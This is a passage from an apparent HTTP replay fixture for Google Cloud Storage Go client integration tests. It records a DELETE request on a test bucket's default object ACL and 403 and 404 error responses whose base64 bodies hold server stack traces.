UG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm90IEZvdW5kIn19" - } - }, - { - "ID": "46482e47e655836d", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:09 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:09 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urze42blCAS2Dskbf5jkbCkdo5IhfOjcTlcufV1ooZd5x_QD0zK1gRoXLXfvLjKHEKaJ7cuDeSRmNjuqgEoxJFMmXUoPOIetWLYbH0G-lJcM6tydew" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgb